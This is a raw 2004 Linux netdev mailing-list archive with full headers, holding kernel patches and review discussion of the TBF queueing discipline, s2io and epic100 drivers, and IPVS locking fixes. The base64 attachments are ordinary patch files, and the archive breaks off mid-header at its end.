localhost (localhost.localdomain [127.0.0.1]) by coreip.homeip.net (Postfix) with ESMTP id BF044F7D4D; Tue, 23 Mar 2004 01:09:31 -0500 (EST) Received: from coreip.homeip.net ([127.0.0.1]) by localhost (core.prvt.inr.net [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 14395-03; Tue, 23 Mar 2004 01:09:26 -0500 (EST) Received: by coreip.homeip.net (Postfix, from userid 500) id 694F4F7D4E; Tue, 23 Mar 2004 01:09:25 -0500 (EST) From: Dmitry Torokhov To: linux-net@vger.kernel.org Subject: Re: [PATCH 2/2 (resend)] TBF trailing whitespace fixes Date: Tue, 23 Mar 2004 01:08:55 -0500 User-Agent: KMail/1.6.1 Cc: netdev@oss.sgi.com References: <200403230108.08384.dtor_core@ameritech.net> In-Reply-To: <200403230108.08384.dtor_core@ameritech.net> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-Id: <200403230108.58006.dtor_core@ameritech.net> X-Virus-Scanned: by amavisd-new at coreip.homeip.net X-archive-position: 4198 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dtor_core@ameritech.net Precedence: bulk X-list: netdev Content-Length: 5049 Lines: 247 =================================================================== ChangeSet@1.1649, 2004-03-05 01:18:18-05:00, dtor_core@ameritech.net NET: TBF trailing whitespace cleanup sch_tbf.c | 68 +++++++++++++++++++++++++++++++------------------------------- 1 files changed, 34 insertions(+), 34 deletions(-) =================================================================== diff -Nru a/net/sched/sch_tbf.c b/net/sched/sch_tbf.c --- a/net/sched/sch_tbf.c Fri Mar 5 01:26:58 2004 +++ b/net/sched/sch_tbf.c Fri Mar 5 01:26:58 2004 @@ -62,7 +62,7 @@ Algorithm. ---------- - + Let N(t_i) be B/R initially and N(t) grow continuously with time as: N(t+delta) = min{B/R, N(t) + delta} @@ -146,15 +146,15 @@ if (sch->reshape_fail == NULL || sch->reshape_fail(skb, sch)) #endif kfree_skb(skb); - + return NET_XMIT_DROP; } - + if ((ret = q->qdisc->enqueue(skb, q->qdisc)) != 0) { sch->stats.drops++; return ret; - } - + } + sch->q.qlen++; sch->stats.bytes += skb->len; sch->stats.packets++; @@ -165,10 +165,10 @@ { struct tbf_sched_data *q = (struct tbf_sched_data *)sch->data; int ret; - + if ((ret = q->qdisc->ops->requeue(skb, q->qdisc)) == 0) - sch->q.qlen++; - + sch->q.qlen++; + return ret; } @@ -176,7 +176,7 @@ { struct tbf_sched_data *q = (struct tbf_sched_data *)sch->data; unsigned int len; - + if ((len = q->qdisc->ops->drop(q->qdisc)) != 0) { sch->q.qlen--; sch->stats.drops++; @@ -196,7 +196,7 @@ { struct tbf_sched_data *q = (struct tbf_sched_data *)sch->data; struct sk_buff *skb; - + skb = q->qdisc->dequeue(q->qdisc); if (skb) { @@ -204,7 +204,7 @@ long toks; long ptoks = 0; unsigned int len = skb->len; - + PSCHED_GET_TIME(now); toks = PSCHED_TDIFF_SAFE(now, q->t_c, q->buffer, 0); @@ -248,13 +248,13 @@ This is the main idea of all FQ algorithms (cf. CSZ, HPFQ, HFSC) */ - + if (q->qdisc->ops->requeue(skb, q->qdisc) != NET_XMIT_SUCCESS) { - /* When requeue fails skb is dropped */ + /* When requeue fails skb is dropped */ sch->q.qlen--; sch->stats.drops++; - } - + } + sch->flags |= TCQ_F_THROTTLED; sch->stats.overlimits++; } @@ -279,24 +279,24 @@ struct Qdisc *q = qdisc_create_dflt(dev, &bfifo_qdisc_ops); struct rtattr *rta; int ret; - + if (q) { rta = kmalloc(RTA_LENGTH(sizeof(struct tc_fifo_qopt)), GFP_KERNEL); if (rta) { rta->rta_type = RTM_NEWQDISC; rta->rta_len = RTA_LENGTH(sizeof(struct tc_fifo_qopt)); ((struct tc_fifo_qopt *)RTA_DATA(rta))->limit = limit; - + ret = q->ops->change(q, rta); kfree(rta); - + if (ret == 0) return q; } qdisc_destroy(q); } - return NULL; + return NULL; } static int tbf_change(struct Qdisc* sch, struct rtattr *opt) @@ -340,7 +340,7 @@ } if (max_size < 0) goto done; - + if (q->qdisc == &noop_qdisc) { if ((child = tbf_create_dflt_qdisc(sch->dev, qopt->limit)) == NULL) goto done; @@ -369,17 +369,17 @@ static int tbf_init(struct Qdisc* sch, struct rtattr *opt) { struct tbf_sched_data *q = (struct tbf_sched_data *)sch->data; - + if (opt == NULL) return -EINVAL; - + PSCHED_GET_TIME(q->t_c); init_timer(&q->wd_timer); q->wd_timer.function = tbf_watchdog; q->wd_timer.data = (unsigned long)sch; q->qdisc = &noop_qdisc; - + return tbf_change(sch, opt); } @@ -393,7 +393,7 @@ qdisc_put_rtab(q->P_tab); if (q->R_tab) qdisc_put_rtab(q->R_tab); - + qdisc_destroy(q->qdisc); q->qdisc = &noop_qdisc; } @@ -404,10 +404,10 @@ unsigned char *b = skb->tail; struct rtattr *rta; struct tc_tbf_qopt opt; - + rta = (struct rtattr*)b; RTA_PUT(skb, TCA_OPTIONS, 0, NULL); - + opt.limit = q->limit; opt.rate = q->R_tab->rate; if (q->P_tab) @@ -427,13 +427,13 @@ } static int tbf_dump_class(struct Qdisc *sch, unsigned long cl, - struct sk_buff *skb, struct tcmsg *tcm) + struct sk_buff *skb, struct tcmsg *tcm) { struct tbf_sched_data *q = (struct tbf_sched_data*)sch->data; - if (cl != 1) /* only one class */ + if (cl != 1) /* only one class */ return -ENOENT; - + tcm->tcm_handle |= TC_H_MIN(1); tcm->tcm_info = q->qdisc->handle; @@ -448,12 +448,12 @@ if (new == NULL) new = &noop_qdisc; - sch_tree_lock(sch); + sch_tree_lock(sch); *old = xchg(&q->qdisc, new); qdisc_reset(*old); sch->q.qlen = 0; sch_tree_unlock(sch); - + return 0; } @@ -473,7 +473,7 @@ } static int tbf_change_class(struct Qdisc *sch, u32 classid, u32 parentid, - struct rtattr **tca, unsigned long *arg) + struct rtattr **tca, unsigned long *arg) { return -ENOSYS; } @@ -497,7 +497,7 @@ static struct Qdisc_class_ops tbf_class_ops = { - .graft = tbf_graft, + .graft = tbf_graft, .leaf = tbf_leaf, .get = tbf_get, .put = tbf_put, @@ -529,7 +529,7 @@ return register_qdisc(&tbf_qdisc_ops); } -static void __exit tbf_module_exit(void) +static void __exit tbf_module_exit(void) { unregister_qdisc(&tbf_qdisc_ops); } From dtor@coreip.homeip.net Mon Mar 22 22:09:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Mar 2004 22:09:42 -0800 (PST) Received: from smtp807.mail.sc5.yahoo.com (smtp807.mail.sc5.yahoo.com [66.163.168.186]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2N69UKO014325 for ; Mon, 22 Mar 2004 22:09:31 -0800 Received: from unknown (HELO coreip.homeip.net) (dtor?core@ameritech.net@68.251.103.1 with login) by smtp807.mail.sc5.yahoo.com with SMTP; 23 Mar 2004 06:09:30 -0000 Received: from localhost (localhost.localdomain [127.0.0.1]) by coreip.homeip.net (Postfix) with ESMTP id D98A5F7D4F; Tue, 23 Mar 2004 01:09:28 -0500 (EST) Received: from coreip.homeip.net ([127.0.0.1]) by localhost (core.prvt.inr.net [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 18166-02; Tue, 23 Mar 2004 01:09:25 -0500 (EST) Received: by coreip.homeip.net (Postfix, from userid 500) id 0DECDF7D4D; Tue, 23 Mar 2004 01:09:24 -0500 (EST) From: Dmitry Torokhov To: linux-net@vger.kernel.org Subject: [PATCH 1/2 (resend)] Fix TBF class reporting (tc class show) Date: Tue, 23 Mar 2004 01:08:08 -0500 User-Agent: KMail/1.6.1 Cc: netdev@oss.sgi.com MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-Id: <200403230108.08384.dtor_core@ameritech.net> X-Virus-Scanned: by amavisd-new at coreip.homeip.net X-archive-position: 4197 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dtor_core@ameritech.net Precedence: bulk X-list: netdev Content-Length: 1288 Lines: 52 Hi, The patch below fixes issue with "tc class show dev " not showing any classes when TBF qdisc is present in the chain. PLease copnsider for inclusion. -- Dmitry =================================================================== ChangeSet@1.1648, 2004-03-05 01:02:36-05:00, dtor_core@ameritech.net NET: Fix class reporting in TBF qdisc sch_tbf.c | 9 +++------ 1 files changed, 3 insertions(+), 6 deletions(-) =================================================================== diff -Nru a/net/sched/sch_tbf.c b/net/sched/sch_tbf.c --- a/net/sched/sch_tbf.c Fri Mar 5 01:26:33 2004 +++ b/net/sched/sch_tbf.c Fri Mar 5 01:26:33 2004 @@ -434,8 +434,7 @@ if (cl != 1) /* only one class */ return -ENOENT; - tcm->tcm_parent = TC_H_ROOT; - tcm->tcm_handle = 1; + tcm->tcm_handle |= TC_H_MIN(1); tcm->tcm_info = q->qdisc->handle; return 0; @@ -486,11 +485,9 @@ static void tbf_walk(struct Qdisc *sch, struct qdisc_walker *walker) { - struct tbf_sched_data *q = (struct tbf_sched_data *)sch->data; - if (!walker->stop) { - if (walker->count >= walker->skip) - if (walker->fn(sch, (unsigned long)q, walker) < 0) { + if (walker->count >= walker->skip) + if (walker->fn(sch, 1, walker) < 0) { walker->stop = 1; return; } From ak@suse.de Mon Mar 22 22:43:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Mar 2004 22:43:23 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2N6h0KO015688 for ; Mon, 22 Mar 2004 22:43:01 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 4BA8B349E7C; Tue, 23 Mar 2004 07:09:32 +0100 (CET) Date: Tue, 23 Mar 2004 07:09:31 +0100 From: Andi Kleen To: netdev@oss.sgi.com Cc: ravinandan.arakali@s2io.com Subject: fix s2io driver compilation Message-ID: <20040323060931.GA32533@wotan.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-archive-position: 4199 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev Content-Length: 618 Lines: 21 Without this patch it won't build with NAPI enabled. (against the patch Jeff posted) -Andi diff -u linux-2.6.4/drivers/net/s2io.c-o linux-2.6.4/drivers/net/s2io.c --- linux-2.6.4/drivers/net/s2io.c-o 2004-03-22 22:01:26.000000000 -0800 +++ linux-2.6.4/drivers/net/s2io.c 2004-03-22 22:04:05.490715632 -0800 @@ -2339,9 +2339,7 @@ struct net_device *dev = (struct net_device *) dev_id; nic_t *sp = dev->priv; XENA_dev_config_t *bar0 = (XENA_dev_config_t *) sp->bar0; -#ifndef CONFIG_S2IO_NAPI int i, ret; -#endif u64 reason = 0, general_mask = 0; mac_info_t *mac_control; struct config_param *config; From ja@ssi.bg Tue Mar 23 00:34:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Mar 2004 00:34:25 -0800 (PST) Received: from u.domain.uli (ja.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2N8XvKO022905 for ; Tue, 23 Mar 2004 00:34:03 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i2N8YsdX001344; Tue, 23 Mar 2004 10:34:57 +0200 Date: Tue, 23 Mar 2004 10:34:54 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: "David S. Miller" cc: Wensong Zhang , netdev@oss.sgi.com Subject: Re: [2.4/2.6] ipvs: improve conn rehashing, other fixes In-Reply-To: <20040322183641.68ecb8a3.davem@redhat.com> Message-ID: References: <20040321230703.408d2240.davem@redhat.com> <20040322183641.68ecb8a3.davem@redhat.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 4200 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Content-Length: 933 Lines: 28 Hello, On Mon, 22 Mar 2004, David S. Miller wrote: > On Tue, 23 Mar 2004 00:58:38 +0800 (CST) > Wensong Zhang wrote: > > > Dave, please check the attached patches. There are three patches for 2.4, > > and two for 2.6. > > I am going to apply everything except the ip_vs_ctl.c change as > Julian has tol me under seperate cover that the locking he adds > there is not really necessary. It was the old version. Please, apply everything sent from Wensong. The old versions protect only the list which is not needed on edit but the new versions from Wensong ensure that the service is updated safely while there are no other CPUs using the schedulers. By this way, after my last posting, we fix missing locking in the following schedulers: WRR, RR, SH, DH. Now the benefit is that we do not add locking in the fast path, instead, we add it only on edit (slow path). Regards -- Julian Anastasov From davem@redhat.com Tue Mar 23 00:40:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Mar 2004 00:40:27 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2N8eEKO023341 for ; Tue, 23 Mar 2004 00:40:15 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2N8e8WA032578; Tue, 23 Mar 2004 03:40:08 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2N8e8j12899; Tue, 23 Mar 2004 03:40:08 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2N8do1n005435; Tue, 23 Mar 2004 03:39:51 -0500 Date: Tue, 23 Mar 2004 00:40:06 -0800 From: "David S. Miller" To: Julian Anastasov Cc: wensong@linux-vs.org, netdev@oss.sgi.com Subject: Re: [2.4/2.6] ipvs: improve conn rehashing, other fixes Message-Id: <20040323004006.14b2373e.davem@redhat.com> In-Reply-To: References: <20040321230703.408d2240.davem@redhat.com> <20040322183641.68ecb8a3.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4201 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 486 Lines: 12 On Tue, 23 Mar 2004 10:34:54 +0200 (EET) Julian Anastasov wrote: > It was the old version. Please, apply everything sent from > Wensong. The old versions protect only the list which is not needed > on edit but the new versions from Wensong ensure that the service is > updated safely while there are no other CPUs using the schedulers. Sorry, wires got crossed. Julian/Wensong, could you please resend that ip_vs_ctl.c locking change under seperate cover then? Thanks. From ja@ssi.bg Tue Mar 23 00:48:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Mar 2004 00:48:13 -0800 (PST) Received: from u.domain.uli (ja.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2N8lvKO023832 for ; Tue, 23 Mar 2004 00:47:59 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i2N8medX001445; Tue, 23 Mar 2004 10:48:48 +0200 Date: Tue, 23 Mar 2004 10:48:40 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: "David S. Miller" cc: wensong@linux-vs.org, netdev@oss.sgi.com Subject: Re: [2.4/2.6] ipvs: improve conn rehashing, other fixes In-Reply-To: <20040323004006.14b2373e.davem@redhat.com> Message-ID: References: <20040321230703.408d2240.davem@redhat.com> <20040322183641.68ecb8a3.davem@redhat.com> <20040323004006.14b2373e.davem@redhat.com> MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="1607745702-879398989-1080031720=:1157" X-archive-position: 4202 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Content-Length: 5117 Lines: 104 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --1607745702-879398989-1080031720=:1157 Content-Type: TEXT/PLAIN; charset=US-ASCII Hello, On Tue, 23 Mar 2004, David S. Miller wrote: > On Tue, 23 Mar 2004 10:34:54 +0200 (EET) > Julian Anastasov wrote: > > > It was the old version. Please, apply everything sent from > > Wensong. The old versions protect only the list which is not needed > > on edit but the new versions from Wensong ensure that the service is > > updated safely while there are no other CPUs using the schedulers. > > Sorry, wires got crossed. Julian/Wensong, could you please resend > that ip_vs_ctl.c locking change under seperate cover then? I still keep them, attached. Regards -- Julian Anastasov --1607745702-879398989-1080031720=:1157 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="linux-2.4-ipvs-updsvc.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: 2.4 - update_service Content-Disposition: attachment; filename="linux-2.4-ipvs-updsvc.patch" IyBUaGlzIGlzIGEgQml0S2VlcGVyIGdlbmVyYXRlZCBwYXRjaCBmb3IgdGhl IGZvbGxvd2luZyBwcm9qZWN0Og0KIyBQcm9qZWN0IE5hbWU6IExpbnV4IGtl cm5lbCB0cmVlDQojIFRoaXMgcGF0Y2ggZm9ybWF0IGlzIGludGVuZGVkIGZv ciBHTlUgcGF0Y2ggY29tbWFuZCB2ZXJzaW9uIDIuNSBvciBoaWdoZXIuDQoj IFRoaXMgcGF0Y2ggaW5jbHVkZXMgdGhlIGZvbGxvd2luZyBkZWx0YXM6DQoj CSAgICAgICAgICAgQ2hhbmdlU2V0CTEuMTMzNiAgLT4gMS4xMzM3IA0KIwlu ZXQvaXB2NC9pcHZzL2lwX3ZzX2N0bC5jCTEuNSAgICAgLT4gMS42ICAgIA0K Iw0KIyBUaGUgZm9sbG93aW5nIGlzIHRoZSBCaXRLZWVwZXIgQ2hhbmdlU2V0 IExvZw0KIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLQ0KIyAwNC8wMy8yMgl3ZW5zb25nQGxpbnV4LXZzLm9yZwkxLjEz MzcNCiMgW0lQVlNdIEZpeCB0byBob2xkIHRoZSBsb2NrIGJlZm9yZSB1cGRh dGluZyBhIHNlcnZpY2UNCiMgDQojIEJyZXR0IEUuIDxicmV0dHNwYW1hY2N0 QGZhc3RjbGljay5jb20+IG5vdGljZWQgdGhlIG1pc3Npbmcgc2VydmljZSBs b2NrDQojIGZvciBlZGl0aW5nIGRlc3QuDQojIA0KIyBKdWxpYW4gQW5hc3Rh c292IDxqYUBzc2kuYmc+IHByb3ZpZGVkIHRoZSBwYXRjaC4NCiMgDQojIC0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoj DQpkaWZmIC1OcnUgYS9uZXQvaXB2NC9pcHZzL2lwX3ZzX2N0bC5jIGIvbmV0 L2lwdjQvaXB2cy9pcF92c19jdGwuYw0KLS0tIGEvbmV0L2lwdjQvaXB2cy9p cF92c19jdGwuYwlNb24gTWFyIDIyIDIzOjEwOjQ3IDIwMDQNCisrKyBiL25l dC9pcHY0L2lwdnMvaXBfdnNfY3RsLmMJTW9uIE1hciAyMiAyMzoxMDo0NyAy MDA0DQpAQCAtODg5LDggKzg4OSwxNSBAQA0KIA0KIAlfX2lwX3ZzX3VwZGF0 ZV9kZXN0KHN2YywgZGVzdCwgdXIpOw0KIA0KKwl3cml0ZV9sb2NrX2JoKCZf X2lwX3ZzX3N2Y19sb2NrKTsNCisNCisJLyogV2FpdCB1bnRpbCBhbGwgb3Ro ZXIgc3ZjIHVzZXJzIGdvIGF3YXkgKi8NCisJd2hpbGUgKGF0b21pY19yZWFk KCZzdmMtPnVzZWNudCkgPiAxKSB7fTsNCisNCiAJLyogY2FsbCB0aGUgdXBk YXRlX3NlcnZpY2UsIGJlY2F1c2Ugc2VydmVyIHdlaWdodCBtYXkgYmUgY2hh bmdlZCAqLw0KIAlzdmMtPnNjaGVkdWxlci0+dXBkYXRlX3NlcnZpY2Uoc3Zj KTsNCisNCisJd3JpdGVfdW5sb2NrX2JoKCZfX2lwX3ZzX3N2Y19sb2NrKTsN CiANCiAJTGVhdmVGdW5jdGlvbigyKTsNCiANCg== --1607745702-879398989-1080031720=:1157 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="linux-2.6-ipvs-updsvc.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: 2.6 - update_service Content-Disposition: attachment; filename="linux-2.6-ipvs-updsvc.patch" IyBUaGlzIGlzIGEgQml0S2VlcGVyIGdlbmVyYXRlZCBwYXRjaCBmb3IgdGhl IGZvbGxvd2luZyBwcm9qZWN0Og0KIyBQcm9qZWN0IE5hbWU6IExpbnV4IGtl cm5lbCB0cmVlDQojIFRoaXMgcG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3OjU4IDIwMDQN CkBAIC04OTgsOCArODk4LDE1IEBADQogDQogCV9faXBfdnNfdXBkYXRlX2Rl c3Qoc3ZjLCBkZXN0LCB1ZGVzdCk7DQogDQorCXdyaXRlX2xvY2tfYmgoJl9f aXBfdnNfc3ZjX2xvY2spOw0KKw0KKwkvKiBXYWl0IHVudGlsIGFsbCBvdGhl ciBzdmMgdXNlcnMgZ28gYXdheSAqLw0KKwl3aGlsZSAoYXRvbWljX3JlYWQo JnN2Yy0+dXNlY250KSA+IDEpIHt9Ow0KKw0KIAkvKiBjYWxsIHRoZSB1cGRh dGVfc2VydmljZSwgYmVjYXVzZSBzZXJ2ZXIgd2VpZ2h0IG1heSBiZSBjaGFu Z2VkICovDQogCXN2Yy0+c2NoZWR1bGVyLT51cGRhdGVfc2VydmljZShzdmMp Ow0KKw0KKwl3cml0ZV91bmxvY2tfYmgoJl9faXBfdnNfc3ZjX2xvY2spOw0K IA0KIAlMZWF2ZUZ1bmN0aW9uKDIpOw0KIA0K --1607745702-879398989-1080031720=:1157-- From hirofumi@mail.parknet.co.jp Tue Mar 23 06:30:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Mar 2004 06:30:23 -0800 (PST) Received: from mail.parknet.co.jp (mail.parknet.co.jp [210.171.160.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2NEU9KO007591 for ; Tue, 23 Mar 2004 06:30:10 -0800 Received: from ibmpc.myhome.or.jp [210.171.164.65] by mail.parknet.co.jp with ESMTP (SMTPD32-4.10) id A9253CD50124; Tue, 23 Mar 2004 23:30:45 +0900 Received: from devron.myhome.or.jp (root@devron.myhome.or.jp [192.168.0.3]) by ibmpc.myhome.or.jp (8.12.11.Beta0/8.12.11.Beta0/Debian-1) with ESMTP id i2NETu1Q020276 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Tue, 23 Mar 2004 23:29:57 +0900 Received: from devron.myhome.or.jp (hirofumi@localhost [127.0.0.1]) by devron.myhome.or.jp (8.12.11.Beta0/8.12.11.Beta0/Debian-1) with ESMTP id i2NETtYh028793 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Tue, 23 Mar 2004 23:29:56 +0900 Received: (from hirofumi@localhost) by devron.myhome.or.jp (8.12.11.Beta0/8.12.11.Beta0/Debian-1) id i2NETooZ028789; Tue, 23 Mar 2004 23:29:50 +0900 To: Jeff Garzik Cc: Francois Romieu , netdev@oss.sgi.com Subject: Re: [PATCH] [RFT] 2.6.4 - epic100 napi References: <20040320152109.A31118@electric-eye.fr.zoreil.com> <405DDDC6.7030007@pobox.com> From: OGAWA Hirofumi Date: Tue, 23 Mar 2004 23:29:49 +0900 In-Reply-To: <405DDDC6.7030007@pobox.com> Message-ID: <8765cvmyaq.fsf@devron.myhome.or.jp> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 4203 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hirofumi@mail.parknet.co.jp Precedence: bulk X-list: netdev Content-Length: 1240 Lines: 38 Jeff Garzik writes: > > + if (work_done < orig_budget) { > > + unsigned long flags; > > + int status; > > + > > + spin_lock_irqsave(&ep->napi_lock, flags); > > + epic_napi_irq_on(dev, ep); > > + __netif_rx_complete(dev); > > + spin_unlock_irqrestore(&ep->napi_lock, flags); > > + > > + status = inl(ioaddr + INTSTAT); > > + if (status & EpicNapiEvent) { > > + epic_napi_irq_off(dev, ep); > > + goto rx_action; > > + } > > Need to add a netif_running() check to the 'if' test at the top of the > quote. > > Are you (or somebody else?) interested in reviewing all the in-tree > NAPI drivers, and seeing if other drivers have this bug? I think > 8139cp.c does at least, maybe e100 too... Such a fix would need to go > into 2.4.x as well. Umm.. the above code is part of ->poll(). I think xxx_interrut() need netif_running() instead. The driver must clear __LINK_STATE_RX_SCHED flag... BTW, ->napi_lock is unneeded because netif_schedule() is already atomic, it need only local_irq_enable/disable(). After __netif_rx_complete() must not do "goto rx_action", otherwise it may become cause of twice scheduleing, it should move before spin_lock(). Thanks. -- OGAWA Hirofumi From jgarzik@pobox.com Tue Mar 23 07:14:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Mar 2004 07:14:53 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2NFEcKO009394 for ; Tue, 23 Mar 2004 07:14:39 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B5nbw-0003QY-Kk; Tue, 23 Mar 2004 15:14:36 +0000 Message-ID: <4060544F.2090702@pobox.com> Date: Tue, 23 Mar 2004 10:14:23 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: OGAWA Hirofumi CC: Francois Romieu , netdev@oss.sgi.com Subject: Re: [PATCH] [RFT] 2.6.4 - epic100 napi References: <20040320152109.A31118@electric-eye.fr.zoreil.com> <405DDDC6.7030007@pobox.com> <8765cvmyaq.fsf@devron.myhome.or.jp> In-Reply-To: <8765cvmyaq.fsf@devron.myhome.or.jp> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4204 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 2222 Lines: 76 OGAWA Hirofumi wrote: > Jeff Garzik writes: > > >>>+ if (work_done < orig_budget) { >>>+ unsigned long flags; >>>+ int status; >>>+ >>>+ spin_lock_irqsave(&ep->napi_lock, flags); >>>+ epic_napi_irq_on(dev, ep); >>>+ __netif_rx_complete(dev); >>>+ spin_unlock_irqrestore(&ep->napi_lock, flags); >>>+ >>>+ status = inl(ioaddr + INTSTAT); >>>+ if (status & EpicNapiEvent) { >>>+ epic_napi_irq_off(dev, ep); >>>+ goto rx_action; >>>+ } >> >>Need to add a netif_running() check to the 'if' test at the top of the >>quote. >> >>Are you (or somebody else?) interested in reviewing all the in-tree >>NAPI drivers, and seeing if other drivers have this bug? I think >>8139cp.c does at least, maybe e100 too... Such a fix would need to go >>into 2.4.x as well. > > > Umm.. the above code is part of ->poll(). I think xxx_interrut() need > netif_running() instead. The driver must clear __LINK_STATE_RX_SCHED > flag... Most interrupt routines already test this, look at static inline int netif_rx_schedule_prep(struct net_device *dev) { return netif_running(dev) && !test_and_set_bit(__LINK_STATE_RX_SCHED, &dev->state); } It shouldn't schedule unless the interface is running. However... I believe it was you that added this check to 8139cp.c: /* close possible race's with dev_close */ if (unlikely(!netif_running(dev))) { cpw16(IntrMask, 0); goto out; } I like this, because regardless of NAPI, most drivers have non-NAPI-related interrupts they must still process. This check handles that. Although this code is a bit redundant to some of the locking and synchronization found in net driver dev->close() methods, I think it is a nice thing to do. I do wonder about the consequences, on some hardware, about receiving an interrupt and -not- processing the RX or TX completions associated with that. For most NIC hardware, you'll get sane behavior, but not all, I bet... > BTW, ->napi_lock is unneeded because netif_schedule() is already > atomic, it need only local_irq_enable/disable(). > > After __netif_rx_complete() must not do "goto rx_action", otherwise it Agreed. Jeff From hirofumi@mail.parknet.co.jp Tue Mar 23 08:05:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Mar 2004 08:05:49 -0800 (PST) Received: from mail.parknet.co.jp (mail.parknet.co.jp [210.171.160.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2NG5gKO011264 for ; Tue, 23 Mar 2004 08:05:43 -0800 Received: from ibmpc.myhome.or.jp [210.171.164.65] by mail.parknet.co.jp with ESMTP (SMTPD32-4.10) id AF8D324B0114; Wed, 24 